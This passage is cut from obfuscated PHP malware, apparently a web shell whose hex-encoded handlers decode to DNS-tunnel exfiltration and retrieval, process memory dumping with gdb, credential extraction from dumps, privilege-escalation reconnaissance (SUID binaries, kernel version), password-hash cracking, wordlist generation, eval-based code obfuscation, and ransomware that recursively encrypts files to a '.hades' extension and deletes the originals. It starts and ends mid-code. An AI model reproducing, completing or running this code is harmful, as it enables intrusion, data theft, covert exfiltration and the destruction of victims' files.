hash("\x73\150\141\x32\65\x36", $IMtDv, true), 0, $hsT2P); goto U4wvI; FwXuy: kRrCA: goto AkAvs; f67V_: $v1Pog["\x6d\x65\x73\163\141\147\145"] = "\x46\141\151\x6c\x65\144\x20\x74\157\x20\x77\x72\151\164\x65\x20\x64\145\143\x72\x79\160\164\145\x64\40\146\151\x6c\145\x2e"; goto UkYS3; U4wvI: if (!($AXEU0 === false)) { goto kRrCA; } goto lgflL; UkYS3: goto z_n9O; goto XJoM0; nRicT: if (file_put_contents($iSL4P, $AXEU0)) { goto fAEbD; } goto f67V_; zC4dP: $UKZxE = $_POST["\146\151\154\145\137\160\x61\164\x68"]; goto tSmXY; ZcgCb: $siOBH = substr($Mc1GJ, 16); goto iedSI; AkAvs: $iSL4P = preg_replace("\x2f\x5c\x2e\145\x6e\143\162\171\160\x74\x65\144\44\x2f", '', $UKZxE) . "\x2e\144\x65\x63\x72\x79\160\164\x65\144"; goto nRicT; lgflL: $v1Pog["\x6d\145\x73\163\x61\x67\x65"] = "\x44\x65\x63\162\171\160\164\151\x6f\156\x20\146\141\x69\154\145\x64\x2e\40\127\162\x6f\156\147\x20\160\x61\x73\163\167\157\162\x64\40\157\162\40\143\x6f\162\x72\165\x70\164\x65\x64\40\x66\151\154\145\x2e"; goto O74YT; azBo8: $Mc1GJ = base64_decode(file_get_contents($UKZxE)); goto pEHsh; XJoM0: fAEbD: goto yDIIy; NPb7S: case "\x64\156\x73\x5f\164\x75\x6e\156\145\154\137\163\x65\156\x64": goto fLIPn; BTOof: $NMK6a = 60; goto n5U3M; n5U3M: $wSe9x = base64_encode($siOBH); goto AcqWW; lMzBl: G0XIp: goto outnO; yK6Ey: $WL9G4 = $_POST["\x64\157\x6d\141\x69\156"] ?? "\145\x78\x61\155\x70\x6c\x65\56\x63\x6f\155"; goto BTOof; XZuBc: goto vbH70; goto CNHPc; AcqWW: $yVsNc = str_split($wSe9x, $NMK6a); goto B3hmq; wxFpe: foreach ($yVsNc as $jY45d => $AS2t_) { goto pWqRp; Ca3um: qQKNV: goto WxgAO; xBHat: $olRGv = @dns_get_record($TYMXt, DNS_A); goto axlHl; axlHl: $gSi8X[] = ["\x63\150\x75\156\x6b" => $AS2t_, "\x73\165\x62\144\x6f\155\x61\x69\156" => $TYMXt, "\x72\145\x73\x6f\154\x76\145\144" => !empty($olRGv)]; goto Ca3um; pWqRp: $TYMXt = $AS2t_ . "\x2e" . $jY45d . "\x2e" . $WL9G4; goto xBHat; WxgAO: } goto lMzBl; fLIPn: $siOBH = $_POST["\144\x61\164\x61"]; goto yK6Ey; B3hmq: $gSi8X = []; goto wxFpe; outnO: $v1Pog = ["\x73\164\141\164\165\163" => "\x73\x75\x63\x63\x65\163\163", "\162\145\x73\165\154\x74\163" => $gSi8X, "\155\145\x73\x73\x61\147\x65" => "\104\x4e\123\x20\x74\x75\156\156\145\x6c\x20\x64\x61\x74\x61\x20\163\145\156\164\x2e"]; goto XZuBc; CNHPc: case "\x64\156\163\137\164\165\156\156\145\154\137\162\145\143\x65\x69\166\x65": goto wmgK5; j03cy: foreach ($mrpFt as $rbyMz) { goto U8vj2; oHegO: LV9cI: goto H9_Jf; U8vj2: if (!isset($rbyMz["\x74\170\164"])) { goto LV9cI; } goto rm3Np; rm3Np: $siOBH .= $rbyMz["\x74\170\x74"]; goto oHegO; H9_Jf: q1z8s: goto qupmz; qupmz: } goto WjjlU; Lossa: if (empty($mrpFt)) { goto ao8zQ; } goto j03cy; PybJF: goto vbH70; goto w2pe1; wHI5I: ao8zQ: goto UxTZa; UxTZa: $yDKeU = base64_decode($siOBH); goto uhMMM; uhMMM: $v1Pog = ["\163\x74\x61\164\165\163" => "\163\165\x63\x63\x65\163\x73", "\x64\141\x74\141" => $yDKeU, "\162\141\167" => $siOBH]; goto PybJF; EXVxB: $mrpFt = @dns_get_record($WL9G4, DNS_TXT); goto gy5G_; wmgK5: $WL9G4 = $_POST["\144\157\155\x61\151\x6e"] ?? "\145\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\155"; goto EXVxB; WjjlU: fdoS0: goto wHI5I; gy5G_: $siOBH = ''; goto Lossa; w2pe1: case "\144\165\x6d\160\137\x70\162\x6f\x63\x65\x73\x73\137\x6d\145\155\157\162\171": goto jHqqo; KdT89: $v1Pog = ["\163\164\141\164\x75\x73" => "\163\165\143\x63\x65\x73\x73", "\x6d\145\163\x73\x61\x67\x65" => "\x4d\x65\x6d\157\x72\x79\x20\x6d\141\x70\x73\x20\162\145\x74\162\x69\145\x76\x65\144\56", "\157\x75\x74\160\165\x74" => $BKvy0, "\146\151\154\145" => '']; goto BhpkZ; AgjUF: $v1Pog["\155\145\x73\163\141\147\145"] = "\x4d\x65\155\157\x72\x79\40\144\x75\x6d\160\x20\157\x6e\154\171\40\141\x76\141\x69\154\141\x62\x6c\145\40\x6f\x6e\40\x4c\x69\x6e\165\x78\x20\163\x79\163\164\x65\155\x73\x2e"; goto iu1xs; jHqqo: $R0VUu = intval($_POST["\x70\151\x64"]); goto KpW1z; PjLyz: $iSL4P = sys_get_temp_dir() . "\x2f\x6a\141\x6e\165\163\137\155\145\x6d\144\165\155\x70\x5f" . $R0VUu . "\137" . time() . "\x2e\x64\x75\x6d\x70"; goto QLSe0; v8EsU: OUEFx: goto A442j; ZgOBK: $BKvy0 = zMRp5($oZAH8); goto mnjyD; avmwI: goto vbH70; goto aW2eu; A442j: $dwgDQ = filesize($iSL4P); goto eGQcP; iu1xs: goto zzp7j; goto XHV1w; QLSe0: if (strpos($VeIoq, "\x6c\x69\156\165\170") !== false) { goto OpYim; } goto AgjUF; eGQcP: $v1Pog = ["\163\x74\141\x74\165\x73" => "\163\x75\x63\x63\145\163\x73", "\155\145\x73\x73\141\147\145" => "\x4d\x65\155\x6f\162\x79\x20\144\x75\155\160\x65\144\x20\164\x6f\x20{$iSL4P}", "\146\x69\x6c\x65" => $iSL4P, "\163\151\172\145" => $dwgDQ, "\x6f\x75\x74\x70\165\x74" => $BKvy0]; goto RvMBz; mnjyD: if (file_exists($iSL4P)) { goto OUEFx; } goto KdT89; BhpkZ: goto dsGME; goto v8EsU; XHV1w: OpYim: goto KtzTo; KpW1z: $VeIoq = strtolower(php_uname("\163")); goto PjLyz; KtzTo: $oZAH8 = "\x67\x64\142\x20\x2d\142\141\164\143\x68\40\55\145\170\x20\47\x61\x74\x74\141\x63\x68\40{$R0VUu}\47\40\x2d\x65\x78\x20\47\147\145\x6e\145\x72\141\164\145\55\143\x6f\x72\x65\x2d\146\x69\x6c\145\x20{$iSL4P}\47\40\55\x65\x78\40\47\x64\x65\164\141\x63\x68\47\40\55\x65\170\x20\x27\161\165\x69\164\47\x20\62\x3e\46\x31\x20\x7c\174\x20\143\x61\164\40\57\160\x72\157\143\x2f{$R0VUu}\x2f\x6d\x61\160\163\x20\62\x3e\46\x31"; goto ZgOBK; h28ZB: zzp7j: goto avmwI; RvMBz: dsGME: goto h28ZB; aW2eu: case "\141\x6e\141\x6c\171\172\x65\x5f\155\x65\155\157\162\x79\x5f\144\165\155\x70": goto rWBnX; WRjYv: preg_match_all($G6Mdr, $Lrz4Z, $UP6I2); goto kNTtQ; kNTtQ: $gSi8X["\x63\x72\145\x64\145\156\x74\151\x61\154\163"] = array_unique($UP6I2[0]); goto KuXjQ; DYzCK: $Rx7yc = $_POST["\160\x61\164\164\145\x72\156"] ?? ''; goto N69Ab; zt47q: $v1Pog = ["\163\x74\x61\164\165\x73" => "\x73\x75\x63\143\145\x73\163", "\162\x65\x73\x75\154\x74\163" => $gSi8X]; goto I2Ta6; HEu5N: $G6Mdr = "\57" . preg_quote($Rx7yc, "\57") . "\57\151"; goto WRjYv; sNGkc: $v1Pog["\155\145\x73\x73\x61\147\145"] = "\x44\x75\x6d\x70\x20\146\151\154\145\40\x6e\x6f\164\x20\146\x6f\x75\x6e\x64\56"; goto FCFQj; sPG8Y: if (empty($Rx7yc)) { goto ZpVg3; } goto HEu5N; g1Vo6: $gSi8X["\163\x74\x72\151\156\x67\x73"] = array_slice(array_unique($I5WkF[0]), 0, 100); goto sPG8Y; KuXjQ: ZpVg3: goto zt47q; gX1Yo: $Lrz4Z = file_get_contents($UKZxE); goto V064Z; V064Z: $gSi8X = ["\163\151\x7a\145" => filesize($UKZxE), "\163\164\x72\151\156\x67\x73" => [], "\143\162\145\x64\145\156\164\151\141\x6c\163" => []]; goto GmaKe; I2Ta6: goto vbH70; goto fh1mM; GmaKe: preg_match_all("\x2f\x5b\133\72\160\x72\x69\x6e\164\72\135\135\173\x34\54\175\57", $Lrz4Z, $I5WkF); goto g1Vo6; Ad1fS: QQUW1: goto gX1Yo; N69Ab: if (!(!is_file($UKZxE) || !is_readable($UKZxE))) { goto QQUW1; } goto sNGkc; FCFQj: goto vbH70; goto Ad1fS; rWBnX: $UKZxE = $_POST["\x66\151\x6c\x65\137\x70\x61\164\150"]; goto DYzCK; fh1mM: case "\163\165\147\147\145\163\164\x5f\x65\x78\x70\154\x6f\x69\164\x73": goto VScOI; Qt0lr: $v1Pog = ["\x73\164\141\x74\x75\163" => "\x73\165\143\143\x65\x73\x73", "\x73\x75\147\x67\145\x73\164\x69\157\x6e\163" => $uQWso, "\x6f\163\x5f\x69\x6e\146\157" => $ZkhQm]; goto r1wNj; S7oCr: $MOcEd = ZMRP5("\146\x69\156\144\x20\57\x74\155\160\40\x2f\166\x61\x72\57\x74\155\x70\40\55\x74\171\160\x65\40\144\x20\55\x77\162\151\x74\141\x62\x6c\x65\40\62\76\x2f\x64\x65\166\x2f\156\165\x6c\154\x20\x7c\40\150\145\141\144\40\x2d\61\60"); goto yLZ0h; xJQbR: ey3Up: goto S7oCr; YeW4g: if (empty($dd4Mu)) { goto ey3Up; } goto R21GW; fC3xk: $dd4Mu = ZMrp5("\146\x69\x6e\x64\x20\x2f\165\163\x72\57\x62\x69\x6e\x20\x2f\165\163\162\57\x73\142\151\156\40\x2d\x70\x65\162\155\x20\55\64\60\60\x30\x20\x32\76\57\x64\145\x76\57\x6e\165\x6c\x6c\40\x7c\x20\x68\145\x61\x64\40\55\x32\60"); goto YeW4g; aarp9: $WvCyc = PHP_VERSION; goto kd0iq; q1rJH: $Pa3UT = strtolower(php_uname("\x73")); goto pnq5E; VScOI: $ZkhQm = php_uname(); goto iHgxc; iHgxc: $gmLqH = php_uname("\162"); goto q1rJH; S0Q_f: F6Zqx: goto xJQbR; kd0iq: $uQWso[] = ["\x74\x79\160\145" => "\x50\110\x50\x20\105\170\160\154\x6f\151\x74", "\144\x65\163\143\162\151\x70\164\x69\x6f\x6e" => "\120\x48\120\x20\126\x65\162\163\151\157\156\72\x20" . $WvCyc, "\x73\x65\141\x72\143\150" => "\x70\x68\160\40" . $WvCyc . "\x20\x65\x78\x70\x6c\157\x69\x74"]; goto fC3xk; owyHF: if (!(strpos($Pa3UT, "\x6c\151\156\165\170") !== false)) { goto Y_IR7; } goto ZGGUD; r1wNj: goto vbH70; goto uT4XP; pnq5E: $uQWso = []; goto owyHF; ZEsBq: Y_IR7: goto aarp9; shBw4: nPwS3: goto Qt0lr; l8cB7: $uQWso[] = ["\x74\x79\x70\x65" => "\127\x72\x69\x74\141\142\x6c\145\x20\x44\151\x72\145\143\164\x6f\162\171", "\144\x65\163\x63\x72\x69\160\x74\151\157\156" => "\x57\162\x69\164\x61\142\x6c\145\x20\x64\151\162\145\143\x74\157\162\151\x65\163\x20\146\x6f\x75\156\144", "\163\145\x61\x72\x63\x68" => "\x6c\151\156\x75\x78\x20\x77\x72\151\164\x61\x62\x6c\145\40\144\151\x72\x65\x63\x74\157\162\x79\x20\x65\170\160\x6c\157\151\x74"]; goto shBw4; R21GW: $sGmdR = explode("\xa", trim($dd4Mu)); goto pHLgl; yLZ0h: if (empty($MOcEd)) { goto nPwS3; } goto l8cB7; ZGGUD: $uQWso[] = ["\164\171\x70\145" => "\113\145\x72\156\145\154\x20\x45\x78\x70\154\157\x69\x74", "\x64\x65\163\143\162\151\160\164\x69\157\x6e" => "\x43\x68\x65\143\x6b\40\x6b\x65\162\156\x65\154\40\166\145\x72\163\151\x6f\156\72\x20" . $gmLqH, "\x73\145\141\x72\x63\x68" => "\154\151\156\165\x78\x20\x6b\x65\162\x6e\x65\x6c\40" . explode("\x2e", $gmLqH)[0] . "\x2e" . explode("\x2e", $gmLqH)[1]]; goto ZEsBq; pHLgl: foreach ($sGmdR as $ozWf2) { goto Ywo8q; Ywo8q: $GkY58 = basename(trim($ozWf2)); goto PkKqk; V82oZ: W13Ec: goto Ht4vX; PkKqk: $uQWso[] = ["\164\x79\160\x65" => "\x53\125\x49\x44\40\102\x69\156\x61\162\171", "\144\145\163\x63\162\x69\x70\164\x69\157\x6e" => "\123\x55\111\x44\x20\x62\x69\156\141\x72\171\x20\146\157\x75\x6e\x64\x3a\x20" . $GkY58, "\163\145\x61\162\143\x68" => $GkY58 . "\x20\160\x72\x69\166\151\154\145\147\145\x20\x65\x73\143\x61\x6c\141\164\x69\x6f\x6e"]; goto V82oZ; Ht4vX: } goto S0Q_f; uT4XP: case "\x63\x72\x61\x63\153\137\x68\141\163\x68": goto K2cim; H_kuG: $dwYcQ = "\165\x6e\153\156\157\167\x6e"; goto AFrSJ; b_DmW: $gSi8X = []; goto nr7ST; bm_lM: FhsXM: goto dlRQ2; nHf0Y: $gSi8X["\155\x65\x73\x73\141\x67\x65"] = "\x48\141\x73\x68\40\156\157\x74\40\143\x72\x61\143\153\x65\x64\x20\167\151\164\150\x20\x63\157\155\x6d\x6f\156\40\160\x61\x73\x73\167\157\x72\144\x73\x2e\x20\125\x73\145\x20\x65\170\164\145\x72\x6e\x61\x6c\40\x74\157\157\154\x73\x20\x6c\151\x6b\x65\40\150\x61\163\x68\143\141\164\40\x6f\162\x20\152\157\150\156\x2e"; goto oJQfo; oajox: $dwYcQ = "\x6d\x64\x35\x5f\143\162\x79\160\164"; goto bm_lM; NZnkf: McOKF: goto fK7fI; AFrSJ: goto FhsXM; goto XTDah; HCPfH: goto FhsXM; goto oz3c0; XTDah: LXJi2: goto ZgHBa; oJQfo: BMwAj: goto kJ8oV; kJ8oV: $v1Pog = ["\x73\164\141\164\165\163" => "\163\165\x63\143\x65\x73\163", "\150\x61\x73\150\137\x74\171\x70\x65" => $dwYcQ, "\162\x65\x73\x75\x6c\x74\163" => $gSi8X]; goto gVde8; EW_2m: $ObM5k = $_POST["\167\x6f\x72\x64\154\151\x73\x74"] ?? ''; goto b_DmW; K2cim: $d0y0k = $_POST["\x68\x61\163\150"]; goto Jx0mr; MEUfr: goto FhsXM; goto nv0Ia; dlRQ2: iur8T: goto gqI1t; RyQOS: vvFSm: goto NmuQo; r61lG: if ($u_Poq === 40 && ctype_xdigit($d0y0k)) { goto QsjXv; } goto lxHEi; gVde8: goto vbH70; goto xfHuf; ltpSX: if ($u_Poq === 32 && ctype_xdigit($d0y0k)) { goto LXJi2; } goto r61lG; nDM1v: if (strpos($d0y0k, "\44\x32") === 0) { goto McOKF; } goto WqYcR; WqYcR: if (strpos($d0y0k, "\44\61\x24") === 0) { goto yNK41; } goto H_kuG; B7fO2: $gSi8X["\x63\162\x61\x63\x6b\145\x64"] = false; goto nHf0Y; J1yR1: $u_Poq = strlen($d0y0k); goto ltpSX; M7N4E: goto FhsXM; goto NZnkf; igl3k: $dwYcQ = "\x73\x68\141\x32\x35\66"; goto M7N4E; ZgHBa: $dwYcQ = "\155\144\x35"; goto MEUfr; nv0Ia: QsjXv: goto tv7iL; NmuQo: if (!empty($gSi8X["\143\162\x61\143\153\x65\144"])) { goto BMwAj; } goto B7fO2; fK7fI: $dwYcQ = "\x62\143\162\x79\160\164"; goto HCPfH; nr7ST: if (!($dwYcQ === "\141\165\x74\x6f")) { goto iur8T; } goto J1yR1; Jx0mr: $dwYcQ = $_POST["\150\141\x73\x68\x5f\164\171\x70\145"] ?? "\x61\165\x74\x6f"; goto EW_2m; tv7iL: $dwYcQ = "\x73\150\x61\x31"; goto d90jE; d90jE: goto FhsXM; goto M_Bf4; oz3c0: yNK41: goto oajox; RlsHA: foreach ($Sl0TC as $F8j10) { goto ejXYY; b3DnM: N4_4O: goto kYfl4; IDqG0: nFLZ0: goto oxDKb; PC8zG: goto vvFSm; goto IDqG0; vd0Pa: switch ($dwYcQ) { case "\155\x64\x35": $X6OhY = md5($F8j10); goto SfCVg; case "\163\x68\x61\61": $X6OhY = sha1($F8j10); goto SfCVg; case "\x73\150\141\x32\65\x36": $X6OhY = hash("\x73\150\141\62\65\x36", $F8j10); goto SfCVg; } goto b3DnM; kYfl4: SfCVg: goto rgMdO; ejXYY: $X6OhY = ''; goto vd0Pa; rgMdO: if (!($X6OhY === $d0y0k)) { goto nFLZ0; } goto QaWBM; ctJfE: $gSi8X["\160\141\x73\x73\x77\x6f\162\144"] = $F8j10; goto PC8zG; oxDKb: xP3yP: goto OOo8A; QaWBM: $gSi8X["\x63\x72\141\x63\153\145\144"] = true; goto ctJfE; OOo8A: } goto RyQOS; gqI1t: $Sl0TC = ["\160\141\163\163\167\157\162\x64", "\x31\62\x33\64\x35\66", "\x61\x64\155\x69\x6e", "\x72\x6f\157\x74", "\164\145\x73\x74", "\x70\141\163\x73\x77\x6f\162\144\x31\62\63", "\x61\144\x6d\151\x6e\61\x32\63"]; goto RlsHA; lxHEi: if ($u_Poq === 64 && ctype_xdigit($d0y0k)) { goto zH0Y8; } goto nDM1v; M_Bf4: zH0Y8: goto igl3k; xfHuf: case "\x67\x65\x6e\145\x72\141\164\x65\137\167\157\x72\144\x6c\x69\163\x74": goto ymuE0; ymuE0: $VsvtG = explode("\12", $_POST["\142\x61\x73\145\137\x77\x6f\x72\144\163"] ?? ''); goto hQL1Z; CNy2E: $v1Pog = ["\x73\164\141\x74\165\163" => "\163\x75\143\x63\145\163\x73", "\167\x6f\162\x64\154\x69\163\164\137\x66\x69\154\x65" => $iSL4P, "\143\x6f\165\156\164" => count($ObM5k)]; goto TKQp6; lyjdW: $iSL4P = sys_get_temp_dir() . "\x2f\152\141\x6e\165\x73\x5f\x77\x6f\162\144\154\151\163\x74\x5f" . time() . "\56\164\x78\164"; goto JUd4Q; JUd4Q: file_put_contents($iSL4P, implode("\xa", array_unique($ObM5k))); goto CNy2E; hQL1Z: $wxzk3 = $_POST["\160\141\x74\x74\x65\162\156\x73"] ?? ["\173\x77\157\x72\144\175", "\x7b\x77\x6f\x72\144\175\x31\62\x33", "\173\x77\x6f\162\144\175\x32\60\62\64", "\x7b\x77\x6f\162\144\x7d\x21"]; goto B7f_w; TKQp6: goto vbH70; goto bUUpy; w4vCS: $ObM5k = []; goto oh26S; oh26S: foreach ($VsvtG as $wK9IS) { goto pKK5b; pKK5b: $wK9IS = trim($wK9IS); goto IhCJB; IhCJB: if (!empty($wK9IS)) { goto rOzDH; } goto jr6Ut; KmxAT: foreach ($uOVxY as $G6Mdr) { $ObM5k[] = str_replace("\173\167\157\x72\144\x7d", $wK9IS, $G6Mdr); iAczX: } goto pfYXB; dOlQ1: rOzDH: goto KmxAT; jr6Ut: goto xe0WB; goto dOlQ1; pfYXB: uLTYR: goto vaogs; vaogs: xe0WB: goto kwlGN; kwlGN: } goto HUJ5O; mONDC: $uOVxY = ["\x7b\167\x6f\162\144\x7d", "\173\x77\x6f\x72\144\x7d\x31\x32\63", "\173\x77\x6f\162\x64\x7d\x32\60\x32\64", "\x7b\167\x6f\x72\144\175\41"]; goto pZ5qh; pZ5qh: j7Rgo: goto w4vCS; HUJ5O: e_1Hi: goto lyjdW; WLKsL: if (is_array($uOVxY)) { goto j7Rgo; } goto mONDC; B7f_w: $uOVxY = is_array($wxzk3) ? $wxzk3 : (is_string($wxzk3) ? json_decode($wxzk3, true) : ["\x7b\x77\157\x72\144\x7d", "\173\167\x6f\x72\144\x7d\61\x32\63", "\173\x77\157\x72\x64\175\62\60\62\x34", "\173\167\x6f\162\x64\x7d\x21"]); goto WLKsL; bUUpy: case "\157\x62\146\165\163\x63\x61\x74\x65\137\143\x6f\x64\145": goto ISG88; cnUAE: hKMsV: goto G3Xk2; G3Xk2: ct6Ub: goto qVKXs; T1l91: switch ($FV7uX) { case "\142\141\x73\145\x36\x34": $BbbEp = "\x65\166\x61\154\50\142\141\x73\x65\66\64\x5f\144\x65\x63\157\144\x65\x28\x22" . base64_encode($RFZ8l) . "\42\51\x29\73"; goto ct6Ub; case "\x68\x65\x78": $BbbEp = "\145\x76\x61\x6c\50\x68\145\170\62\142\x69\156\50\x22" . bin2hex($RFZ8l) . "\42\x29\51\73"; goto ct6Ub; case "\x63\x68\162": $BbbEp = "\145\x76\x61\x6c\x28" . mrZR7($RFZ8l) . "\x29\x3b"; goto ct6Ub; case "\x72\157\x74\61\x33": $BbbEp = "\x65\166\x61\154\50\163\164\162\137\162\x6f\x74\61\x33\x28\42" . str_rot13($RFZ8l) . "\x22\x29\51\x3b"; goto ct6Ub; case "\147\172\x69\160": goto cEpY8; w2AA4: goto ct6Ub; goto K9KjM; boqFR: $BbbEp = "\145\x76\141\154\50\147\172\165\156\x63\x6f\x6d\160\x72\145\x73\163\50\x62\x61\x73\x65\66\64\137\144\x65\x63\157\x64\145\50\42" . base64_encode($GgQhr) . "\42\51\51\x29\x3b"; goto w2AA4; cEpY8: $GgQhr = gzcompress($RFZ8l); goto boqFR; K9KjM: case "\x76\x61\x72\151\141\x62\x6c\x65\x5f\x73\160\x6c\x69\164": goto XFb4G; iXaDh: $wvM5s = []; goto CGzc5; POZ4x: $BbbEp = implode("\12", $wvM5s) . "\12\145\166\141\x6c\50\x69\x6d\x70\x6c\157\144\145\x28\47\47\54\x20\x5b" . implode("\x2c\40", array_map(function ($jY45d) { return "\x24\137" . chr(97 + $jY45d); }, range(0, count($CTBeO) - 1))) . "\135\51\51\x3b"; goto Dk3bQ; MzUXK: gn528: goto POZ4x; XFb4G: $CTBeO = str_split($RFZ8l, 100); goto iXaDh; Dk3bQ: goto ct6Ub; goto DmwKf; CGzc5: foreach ($CTBeO as $jY45d => $qgxrn) { goto c6Y9k; rGFZ0: kYgb2: goto ZhS7f; c6Y9k: $pWcdY = "\x24\137" . chr(97 + $jY45d); goto UFX3p; UFX3p: $wvM5s[] = $pWcdY . "\75\42" . addslashes($qgxrn) . "\x22\x3b"; goto rGFZ0; ZhS7f: } goto MzUXK; DmwKf: } goto cnUAE; DHKDe: goto vbH70; goto fAJB1; smVMJ: $BbbEp = ''; goto T1l91; gapob: $FV7uX = $_POST["\155\x65\x74\x68\x6f\144"] ?? "\x62\x61\163\x65\x36\64"; goto smVMJ; ISG88: $RFZ8l = $_POST["\x63\157\144\145"]; goto gapob; qVKXs: $v1Pog = ["\163\x74\141\x74\x75\163" => "\x73\165\143\x63\x65\x73\163", "\157\x62\146\x75\163\x63\141\x74\145\x64" => $BbbEp, "\x6f\162\151\x67\151\156\x61\154\137\x73\151\x7a\145" => strlen($RFZ8l), "\157\x62\x66\165\x73\x63\x61\164\145\144\x5f\x73\x69\172\145" => strlen($BbbEp)]; goto DHKDe; fAJB1: case "\162\x61\x6e\x73\157\x6d\x5f\x65\x6e\x63\x72\x79\x70\164\137\146\151\154\145\x73": goto JhWVV; S_Bmq: $xf6uV = [$_SESSION["\x63\x77\x64"]]; goto g7xIE; S2Ymx: if (is_array($lsfow)) { goto nqEf0; } goto OSJJK; J5LUl: xaDN7: goto XIecS; OuwAT: nbbv5: goto Zq2xA; YyP0r: $p2RFD = $tIZz1; goto I72XZ; LdT_y: if (is_array($p2RFD)) { goto xaDN7; } goto ikulV; uutqX: $v1Pog["\155\145\163\x73\x61\x67\x65"] = "\116\157\x20\x66\x69\x6c\x65\163\40\157\162\x20\x65\x78\164\x65\156\163\x69\x6f\156\163\40\163\x65\154\x65\143\164\145\x64\x2e"; goto ghw2f; mEaeW: $lsfow = $_POST["\x65\170\x74\x65\156\x73\x69\157\156\x73"] ?? null; goto S2Ymx; OSJJK: if (is_string($lsfow) && !empty($lsfow)) { goto iPXlW; } goto sPLRp; DBJyd: foreach ($xf6uV as $cixXX) { goto PTEOR; A4FHB: $yPpFX = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($cixXX, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); goto nbKGL; YlL0S: dhh7o: goto Mb_Es; PTEOR: if (is_dir($cixXX)) { goto OdWRb; } goto KVAeF; KVAeF: goto dhh7o; goto a4pvJ; Z2Kan: L8K_t: goto YlL0S; nbKGL: foreach ($yPpFX as $Q0s1i) { goto tR0_G; cV1XI: $EIk9m[] = $Q0s1i->getRealPath(); goto EiZdr; EiZdr: fkS9C: goto ZMcbt; ZMcbt: hGGB7: goto y2q3Z; tR0_G: if (!$Q0s1i->isFile()) { goto hGGB7; } goto A8wKG; lm8Sd: if (!in_array($FNvcl, $rkMSQ)) { goto fkS9C; } goto cV1XI; A8wKG: $FNvcl = strtolower($Q0s1i->getExtension()); goto lm8Sd; y2q3Z: pdotm: goto fxnPb; fxnPb: } goto Z2Kan; a4pvJ: OdWRb: goto A4FHB; Mb_Es: } goto fZ1R5; E7iIP: $WXlO2 = 0; goto jzipS; FK9pk: nqEf0: goto n4138; EAd9D: rTtG0: goto YyP0r; cprlu: $EIk9m = array_unique($EIk9m); goto e5M8s; LWziu: if (is_array($rkMSQ)) { goto iqqph; } goto dJRaN; ff6Po: goto t2Mo1; goto FK9pk; n4138: $rkMSQ = $lsfow; goto o55Nt; KL0Uj: RSgH6: goto SHp9U; Zq2xA: $p2RFD = json_decode($tIZz1, true); goto LdT_y; D2q2U: iPXlW: goto fVdUc; fZ1R5: MN1rr: goto XsLj4; pzWae: if (empty($rkMSQ)) { goto Ppe33; } goto mI0HJ; zB62N: goto vbH70; goto dHy3I; g7xIE: zZYr0: goto DBJyd; s3M13: $dTrV6 = hash("\x73\x68\141\62\x35\x36", $IMtDv, true); goto Dvjjd; sPLRp: $rkMSQ = []; goto ff6Po; tDqZi: $xf6uV = is_array($yTFOv) ? $yTFOv : (is_string($yTFOv) && !empty($yTFOv) ? explode("\x2c", $yTFOv) : [$_SESSION["\143\x77\144"]]); goto f12Id; ZJB6F: $IMtDv = $_POST["\160\141\x73\x73\x77\157\x72\144"] ?? bin2hex(random_bytes(16)); goto mEaeW; JhWVV: $tIZz1 = $_POST["\146\151\x6c\x65\x73"] ?? null; goto wYME9; ghw2f: goto vbH70; goto Qin0q; wYME9: if (is_array($tIZz1)) { goto rTtG0; } goto IM60l; ikulV: $p2RFD = []; goto J5LUl; wI8Dp: t2Mo1: goto E7iIP; dJRaN: $rkMSQ = []; goto oiltd; Qin0q: kxMxx: goto s3M13; qvlC7: $p2RFD = []; goto eqiMr; mI0HJ: $yTFOv = $_POST["\x73\x65\141\x72\143\150\x5f\160\x61\164\x68\163"] ?? $_SESSION["\143\x77\x64"]; goto tDqZi; XsLj4: Ppe33: goto cprlu; zj09c: if (!(empty($p2RFD) && empty($rkMSQ))) { goto kxMxx; } goto uutqX; SHp9U: $v1Pog = ["\x73\x74\141\x74\x75\x73" => "\163\165\x63\143\145\163\163", "\x65\x6e\x63\162\x79\160\x74\145\x64\137\x63\157\x75\x6e\x74" => $WXlO2, "\146\141\x69\154\x65\x64\x5f\143\x6f\165\x6e\164" => $sXL5l, "\x74\x6f\x74\141\x6c\137\146\x69\154\145\x73" => count($EIk9m), "\160\141\163\x73\x77\157\x72\x64" => $IMtDv, "\x72\145\163\x75\x6c\164\x73" => $gSi8X, "\x6d\145\163\x73\141\147\145" => "\105\x6e\143\162\171\160\164\145\x64\x20{$WXlO2}\40\x66\151\x6c\145\x28\163\x29\x2c\x20{$sXL5l}\40\146\x61\x69\154\x65\x64\56"]; goto zB62N; e5M8s: foreach ($EIk9m as $UKZxE) { goto WY1gs; WY1gs: if (!(!is_file($UKZxE) || !is_readable($UKZxE))) { goto zeyjI; } goto HoLiT; Pwjt8: goto JQdkS; goto KeVbJ; HoLiT: $sXL5l++; goto oGcxe; Z3CyY: goto JQdkS; goto K9joy; oGcxe: $gSi8X[] = ["\x66\x69\x6c\145" => $UKZxE, "\163\x74\141\164\165\x73" => "\146\141\151\154\x65\x64", "\x72\145\x61\x73\157\156" => "\106\151\154\x65\40\x6e\157\x74\40\x66\x6f\x75\156\144\x20\157\x72\x20\156\157\x74\x20\x72\x65\x61\x64\x61\x62\154\x65"]; goto Z3CyY; JczJW: try { goto Nl2ab; nVqZY: kjr8F: goto qnkao; cjA1V: $gSi8X[] = ["\146\x69\x6c\145" => $UKZxE, "\163\164\141\x74\165\163" => "\x66\141\151\154\x65\x64", "\x72\145\x61\x73\157\156" => "\105\x6e\x63\x72\x79\160\x74\x69\157\156\40\x66\141\151\x6c\x65\x64"]; goto LRw94; LRw94: goto JQdkS; goto ATBfP; DPbmq: goto kjr8F; goto WuWGm; MFiBl: $sXL5l++; goto cjA1V; ATBfP: ZwZau: goto jJq8T; RqSmt: @unlink($UKZxE); goto qvuAO; Nl2ab: $siOBH = file_get_contents($UKZxE); goto fUh2y; QIzms: $sXL5l++; goto d83j9; qvuAO: $WXlO2++; goto VJA7v; jJq8T: $VJe6T = $UKZxE . "\56\x68\141\x64\x65\x73"; goto hJezv; hJezv: if (file_put_contents($VJe6T, $JkBdw)) { goto Vkp20; } goto QIzms; fUh2y: $JkBdw = oXQhu($siOBH, $IMtDv); goto H6aIl; WuWGm: Vkp20: goto RqSmt; H6aIl: if (!($JkBdw === false || empty($JkBdw))) { goto ZwZau; } goto MFiBl; VJA7v: $gSi8X[] = ["\x66\x69\x6c\145" => $UKZxE, "\163\x74\x61\x74\165\x73" => "\x65\x6e\x63\x72\171\x70\164\145\x64", "\x65\156\143\x72\171\x70\164\x65\x64\x5f\146\151\x6c\145" => 